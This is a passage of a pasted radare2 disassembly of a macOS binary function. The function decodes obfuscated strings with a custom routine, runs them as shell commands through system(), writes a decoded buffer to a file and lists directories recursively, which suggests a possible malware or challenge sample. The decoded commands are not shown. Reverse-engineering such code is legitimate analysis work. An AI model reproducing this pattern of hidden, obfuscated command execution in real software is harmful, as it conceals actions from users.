  732. │  ││       0x100001bfb      4889c1         mov rcx, rax
  733. │  ││       0x100001bfe      4c8dad80f3ff.  lea r13, [local_c80h]
  734. │  ││       0x100001c05      be00000000     mov esi, 0                 ; const char*
  735. │  ││       0x100001c0a      ba00040000     mov edx, 0x400             ; ...
  736. │  ││       0x100001c0f      31c0           xor eax, eax
  737. │  ││       0x100001c11      4c89ef         mov rdi, r13               ; char *s
  738. │  ││       0x100001c14      4d89f0         mov r8, r14
  739. │  ││       0x100001c17      e80a0c0000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  740. │  ││       0x100001c1c      48b834c0b9d0.  movabs rax, 0xd7bec57cd0b9c034
  741. │  ││       0x100001c26      48898523efff.  mov qword [local_10ddh], rax
  742. │  ││       0x100001c2d      c7852befffff.  mov dword [local_10d5h], 0xd0ea937e
  743. │  ││       0x100001c37      c6852fefffff.  mov byte [local_10d1h], 0
  744. │  ││       0x100001c3e      488dbd23efff.  lea rdi, [local_10ddh]
  745. │  ││       0x100001c45      e8e6020000     call func.homemade.decode_buffer
  746. │  ││       0x100001c4a      4889c1         mov rcx, rax
  747. │  ││       0x100001c4d      488d9d30efff.  lea rbx, [local_10d0h]
  748. │  ││       0x100001c54      31f6           xor esi, esi               ; const char*
  749. │  ││       0x100001c56      ba00040000     mov edx, 0x400             ; ...
  750. │  ││       0x100001c5b      31c0           xor eax, eax
  751. │  ││       0x100001c5d      4889df         mov rdi, rbx               ; char *s
  752. │  ││       0x100001c60      4d89e0         mov r8, r12
  753. │  ││       0x100001c63      4d89e9         mov r9, r13
  754. │  ││       0x100001c66      e8bb0b0000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  755. │  ││       0x100001c6b      4889df         mov rdi, rbx               ; const char * string
  756. │  ││       0x100001c6e      e88b0c0000     call sym.imp.system        ; int system(const char *string)
  757. │  ││       0x100001c73      4c89ef         mov rdi, r13
  758. │  ││       0x100001c76      e8050b0000     call ls_dir_recursive
  759. │  ││       0x100001c7b      0f2805ee0e00.  movaps xmm0, xmmword [0x100002b70] ; [0x100002b70:16]=-1
  760. │  ││       0x100001c82      0f2985c0c5ff.  movaps xmmword [local_3a40h], xmm0
  761. │  ││       0x100001c89      0f2805f00e00.  movaps xmm0, xmmword [0x100002b80] ; [0x100002b80:16]=-1
  762. │  ││       0x100001c90      0f2985d0c5ff.  movaps xmmword [local_3a30h], xmm0
  763. │  ││       0x100001c97      0f2805f20e00.  movaps xmm0, xmmword [0x100002b90] ; [0x100002b90:16]=-1
  764. │  ││       0x100001c9e      0f2985e0c5ff.  movaps xmmword [local_3a20h], xmm0
  765. │  ││       0x100001ca5      0f2805f40e00.  movaps xmm0, xmmword [0x100002ba0] ; [0x100002ba0:16]=-1
  766. │  ││       0x100001cac      0f2985f0c5ff.  movaps xmmword [local_3a10h], xmm0
  767. │  ││       0x100001cb3      0f2805f60e00.  movaps xmm0, xmmword [0x100002bb0] ; [0x100002bb0:16]=-1
  768. │  ││       0x100001cba      0f298500c6ff.  movaps xmmword [local_3a00h], xmm0
  769. │  ││       0x100001cc1      0f2805f80e00.  movaps xmm0, xmmword [0x100002bc0] ; [0x100002bc0:16]=-1
  770. │  ││       0x100001cc8      0f298510c6ff.  movaps xmmword [local_39f0h], xmm0
  771. │  ││       0x100001ccf      0f2805fa0e00.  movaps xmm0, xmmword [0x100002bd0] ; [0x100002bd0:16]=-1
  772. │  ││       0x100001cd6      0f298520c6ff.  movaps xmmword [local_39e0h], xmm0
  773. │  ││       0x100001cdd      0f2805fc0e00.  movaps xmm0, xmmword [0x100002be0] ; [0x100002be0:16]=-1
  774. │  ││       0x100001ce4      0f298530c6ff.  movaps xmmword [local_39d0h], xmm0
  775. │  ││       0x100001ceb      0f2805fe0e00.  movaps xmm0, xmmword [0x100002bf0] ; [0x100002bf0:16]=-1
  776. │  ││       0x100001cf2      0f298540c6ff.  movaps xmmword [local_39c0h], xmm0
  777. │  ││       0x100001cf9      0f2805000f00.  movaps xmm0, xmmword [0x100002c00] ; [0x100002c00:16]=-1
  778. │  ││       0x100001d00      0f298550c6ff.  movaps xmmword [local_39b0h], xmm0
  779. │  ││       0x100001d07      0f2805020f00.  movaps xmm0, xmmword [0x100002c10] ; [0x100002c10:16]=-1
  780. │  ││       0x100001d0e      0f298560c6ff.  movaps xmmword [local_39a0h], xmm0
  781. │  ││       0x100001d15      0f2805040f00.  movaps xmm0, xmmword [0x100002c20] ; [0x100002c20:16]=-1
  782. │  ││       0x100001d1c      0f298570c6ff.  movaps xmmword [local_3990h], xmm0
  783. │  ││       0x100001d23      0f2805060f00.  movaps xmm0, xmmword [0x100002c30] ; [0x100002c30:16]=-1
  784. │  ││       0x100001d2a      0f298580c6ff.  movaps xmmword [local_3980h], xmm0
  785. │  ││       0x100001d31      0f2805080f00.  movaps xmm0, xmmword [0x100002c40] ; [0x100002c40:16]=-1
  786. │  ││       0x100001d38      0f298590c6ff.  movaps xmmword [local_3970h], xmm0
  787. │  ││       0x100001d3f      0f28050a0f00.  movaps xmm0, xmmword [0x100002c50] ; [0x100002c50:16]=-1
  788. │  ││       0x100001d46      0f2985a0c6ff.  movaps xmmword [local_3960h], xmm0
  789. │  ││       0x100001d4d      0f28050c0f00.  movaps xmm0, xmmword [0x100002c60] ; [0x100002c60:16]=-1
  790. │  ││       0x100001d54      0f2985b0c6ff.  movaps xmmword [local_3950h], xmm0
  791. │  ││       0x100001d5b      0f28050e0f00.  movaps xmm0, xmmword [0x100002c70] ; [0x100002c70:16]=-1
  792. │  ││       0x100001d62      0f2985c0c6ff.  movaps xmmword [local_3940h], xmm0
  793. │  ││       0x100001d69      0f2805100f00.  movaps xmm0, xmmword [0x100002c80] ; [0x100002c80:16]=-1
  794. │  ││       0x100001d70      0f2985d0c6ff.  movaps xmmword [local_3930h], xmm0
  795. │  ││       0x100001d77      0f2805120f00.  movaps xmm0, xmmword [0x100002c90] ; [0x100002c90:16]=-1
  796. │  ││       0x100001d7e      0f2985e0c6ff.  movaps xmmword [local_3920h], xmm0
  797. │  ││       0x100001d85      0f2805140f00.  movaps xmm0, xmmword [0x100002ca0] ; [0x100002ca0:16]=-1
  798. │  ││       0x100001d8c      0f2985f0c6ff.  movaps xmmword [local_3910h], xmm0
  799. │  ││       0x100001d93      0f2805160f00.  movaps xmm0, xmmword [0x100002cb0] ; [0x100002cb0:16]=-1
  800. │  ││       0x100001d9a      0f298500c7ff.  movaps xmmword [local_3900h], xmm0
  801. │  ││       0x100001da1      c68510c7ffff.  mov byte [local_38f0h], 0
  802. │  ││       0x100001da8      488dbdc0c5ff.  lea rdi, [local_3a40h]
  803. │  ││       0x100001daf      e87c010000     call func.homemade.decode_buffer
  804. │  ││       0x100001db4      4889c1         mov rcx, rax
  805. │  ││       0x100001db7      4c8da520c7ff.  lea r12, [local_38e0h]
  806. │  ││       0x100001dbe      be00000000     mov esi, 0                 ; const char*
  807. │  ││       0x100001dc3      ba00280000     mov edx, 0x2800            ; ...
  808. │  ││       0x100001dc8      31c0           xor eax, eax
  809. │  ││       0x100001dca      4c89e7         mov rdi, r12               ; char *s
  810. │  ││       0x100001dcd      4d89f8         mov r8, r15
  811. │  ││       0x100001dd0      4c8b8dc0b8ff.  mov r9, qword [local_4740h]
  812. │  ││       0x100001dd7      e84a0a0000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  813. │  ││       0x100001ddc      66c785cbb8ff.  mov word [local_4735h], 0x77 ; 'w'
  814. │  ││       0x100001de5      4c8db5d0f7ff.  lea r14, [local_830h]
  815. │  ││       0x100001dec      488db5cbb8ff.  lea rsi, [local_4735h]     ; const char*
  816. │  ││       0x100001df3      4c89f7         mov rdi, r14               ; const char * filename
  817. │  ││       0x100001df6      e8790a0000     call sym.imp.fopen         ; file*fopen(const char *filename,
  818. │  ││       0x100001dfb      4889c3         mov rbx, rax
  819. │  ││       0x100001dfe      4c89e7         mov rdi, r12               ; const char * s
  820. │  ││       0x100001e01      e8ec0a0000     call sym.imp.strlen        ; size_t strlen(const char *s)
  821. │  ││       0x100001e06      be01000000     mov esi, 1                 ; size_t size
  822. │  ││       0x100001e0b      4c89e7         mov rdi, r12               ; const void *ptr
  823. │  ││       0x100001e0e      4889c2         mov rdx, rax               ; size_t nitems
  824. │  ││       0x100001e11      4889d9         mov rcx, rbx               ; FILE *stream
  825. │  ││       0x100001e14      e8790a0000     call sym.imp.fwrite        ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
  826. │  ││       0x100001e19      4889df         mov rdi, rbx               ; FILE *stream
  827. │  ││       0x100001e1c      e8470a0000     call sym.imp.fclose        ; int fclose(FILE *stream)
  828. │  ││       0x100001e21      4c89f7         mov rdi, r14
  829. │  ││       0x100001e24      e857090000     call ls_dir_recursive
  830. │  ││       0x100001e29      0f2805900e00.  movaps xmm0, xmmword [0x100002cc0] ; [0x100002cc0:16]=-1
  831. │  ││       0x100001e30      0f2985a0bdff.  movaps xmmword [local_4260h], xmm0
  832. │  ││       0x100001e37      c785b0bdffff.  mov dword [local_4250h], 0x84bc963c
  833. │  ││       0x100001e41      c685b4bdffff.  mov byte [local_424ch], 0
  834. │  ││       0x100001e48      488dbda0bdff.  lea rdi, [local_4260h]
  835. │  ││       0x100001e4f      e8dc000000     call func.homemade.decode_buffer
  836. │  ││       0x100001e54      4889c1         mov rcx, rax
  837. │  ││       0x100001e57      4c8da5c0c1ff.  lea r12, [local_3e40h]
  838. │  ││       0x100001e5e      31f6           xor esi, esi               ; const char*
  839. │  ││       0x100001e60      ba00040000     mov edx, 0x400             ; ...
  840. │  ││       0x100001e65      31c0           xor eax, eax
  841. │  ││       0x100001e67      4c89e7         mov rdi, r12               ; char *s
  842. │  ││       0x100001e6a      4d89f8         mov r8, r15
  843. │  ││       0x100001e6d      e8b4090000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  844. │  ││       0x100001e72      0f2805570e00.  movaps xmm0, xmmword [0x100002cd0] ; [0x100002cd0:16]=-1
  845. │  ││       0x100001e79      0f298580bdff.  movaps xmmword [local_4280h], xmm0
  846. │  ││       0x100001e80      c78590bdffff.  mov dword [local_4270h], 0x84bc9679
  847. │  ││       0x100001e8a      c68594bdffff.  mov byte [local_426ch], 0
  848. │  ││       0x100001e91      488dbd80bdff.  lea rdi, [local_4280h]
  849. │  ││       0x100001e98      e893000000     call func.homemade.decode_buffer
  850. │  ││       0x100001e9d      4889c1         mov rcx, rax
  851. │  ││       0x100001ea0      488d9dc0bdff.  lea rbx, [local_4240h]
  852. │  ││       0x100001ea7      31f6           xor esi, esi               ; const char*
  853. │  ││       0x100001ea9      ba00040000     mov edx, 0x400             ; ...
  854. │  ││       0x100001eae      31c0           xor eax, eax
  855. │  ││       0x100001eb0      4889df         mov rdi, rbx               ; char *s
  856. │  ││       0x100001eb3      4d89f0         mov r8, r14
  857. │  ││       0x100001eb6      e86b090000     call sym.imp.__sprintf_chk ; int sprintf(char *s,
  858. │  ││       0x100001ebb      4c89e7         mov rdi, r12               ; const char * string
  859. │  ││       0x100001ebe      e83b0a0000     call sym.imp.system        ; int system(const char *string)
  860. │  ││       0x100001ec3      4889df         mov rdi, rbx               ; const char * string
  861. │  ││       0x100001ec6      e8330a0000     call sym.imp.system        ; int system(const char *string)
  862. │  ││       0x100001ecb      c685cdb8ffff.  mov byte [local_4733h], 0x25 ; '%'
  863. │  ││       0x100001ed2      c685ceb8ffff.  mov byte [local_4732h], 0x73 ; 's'
  864. │  ││       0x100001ed9      c685cfb8ffff.  mov byte [local_4731h], 0
  865. │  ││       0x100001ee0      c785b2b8ffff.  mov dword [local_474eh], 0x656e6f44
  866. │  ││       0x100001eea      66c785b6b8ff.  mov word [local_474ah], 0xa
  867. │  ││       0x100001ef3      488dbdcdb8ff.  lea rdi, [local_4733h]     ; const char * format
  868. │  ││       0x100001efa      488db5b2b8ff.  lea rsi, [local_474eh]
  869. │  ││       0x100001f01      31c0           xor eax, eax
  870. │  ││       0x100001f03      e8b4090000     call sym.imp.printf        ; int printf(const char *format)
  871. │  ││       0x100001f08      bf37000000     mov edi, 0x37              ; '7' ; int status
  872. │  ││       0x100001f0d      e850090000     call sym.imp.exit          ; void exit(int status)
  873. │  │└─────> 0x100001f12      bffe000000     mov edi, 0xfe              ; int status
  874. │  │        0x100001f17      e846090000     call sym.imp.exit          ; void exit(int status)
  875. │  └──────> 0x100001f1c      bf0f000000     mov edi, 0xf               ; int status
  876. └           0x100001f21      e83c090000     call sym.imp.exit          ; void exit(int status)
RAW Paste Data
Pastebin PRO Autumn Special!
Get 40% OFF on Pastebin PRO accounts!
Top